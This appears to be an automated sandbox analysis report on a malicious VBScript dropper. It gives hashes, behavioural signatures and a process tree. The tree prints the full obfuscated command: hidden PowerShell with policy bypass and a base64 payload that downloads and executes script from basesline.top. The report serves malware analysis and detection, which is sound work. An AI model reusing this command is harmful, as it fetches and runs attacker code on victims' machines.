a93e23b463cd782647a7ad565873a78b4e9c287503fcb4865bc38da97e754d2c

Analysis

max time kernel
119s
max time network
124s
platform
windows7_x64
resource
win7-en-20211208
submitted
22/02/2022, 12:16

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General

Target
documentaz_801.vbs
Size 3KB
Sample220222-pff3cagfh2
SHA256 a93e23b463cd782647a7ad565873a78b4e9c287503fcb4865bc38da97e754d2c
MD5 6414e94a3259e8d8e133aca4ad148a59
SHA1 bce2367b1c8f27ca6fe5847f51695982466c739e
SHA512 445d9488c212f1fdd5f498fac98eaced4fe7986b1960a7fa1923ec4ed87c22640733c9a3b44993cbbcd8c13c800b662858695f8a12e085498744bababc14d344
MD5 SHA1 SHA512

Score

10^/10

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://basesline.top/index.php

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
5	572	powershell.exe
6	572	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
572	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	572	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1592 wrote to memory of 268	1592	WScript.exe	27
PID 1592 wrote to memory of 268	1592	WScript.exe	27
PID 1592 wrote to memory of 268	1592	WScript.exe	27
PID 268 wrote to memory of 572	268	cmd.exe	29
PID 268 wrote to memory of 572	268	cmd.exe	29
PID 268 wrote to memory of 572	268	cmd.exe	29

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\documentaz_801.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:1592
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c powErshEll -nop -w hiddEn -Ep bypass -Enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AYgBhAHMAZQBzAGwAaQBuAGUALgB0AG8AcAAvAGkAbgBkAGUAeAAuAHAAaABwACIAKQA=
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:268
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powErshEll -nop -w hiddEn -Ep bypass -Enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AYgBhAHMAZQBzAGwAaQBuAGUALgB0AG8AcAAvAGkAbgBkAGUAeAAuAHAAaABwACIAKQA=
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:572

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/572-56-0x000007FEF2FB0000-0x000007FEF3B0D000-memory.dmp

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memory/572-57-0x000007FEF56DE000-0x000007FEF56DF000-memory.dmp

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memory/572-58-0x0000000002870000-0x0000000002872000-memory.dmp

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memory/572-59-0x0000000002872000-0x0000000002874000-memory.dmp

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memory/572-60-0x0000000002874000-0x0000000002877000-memory.dmp

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memory/572-61-0x000000001B700000-0x000000001B9FF000-memory.dmp

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memory/572-62-0x000000000287B000-0x000000000289A000-memory.dmp

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memory/1592-54-0x000007FEFBC11000-0x000007FEFBC13000-memory.dmp

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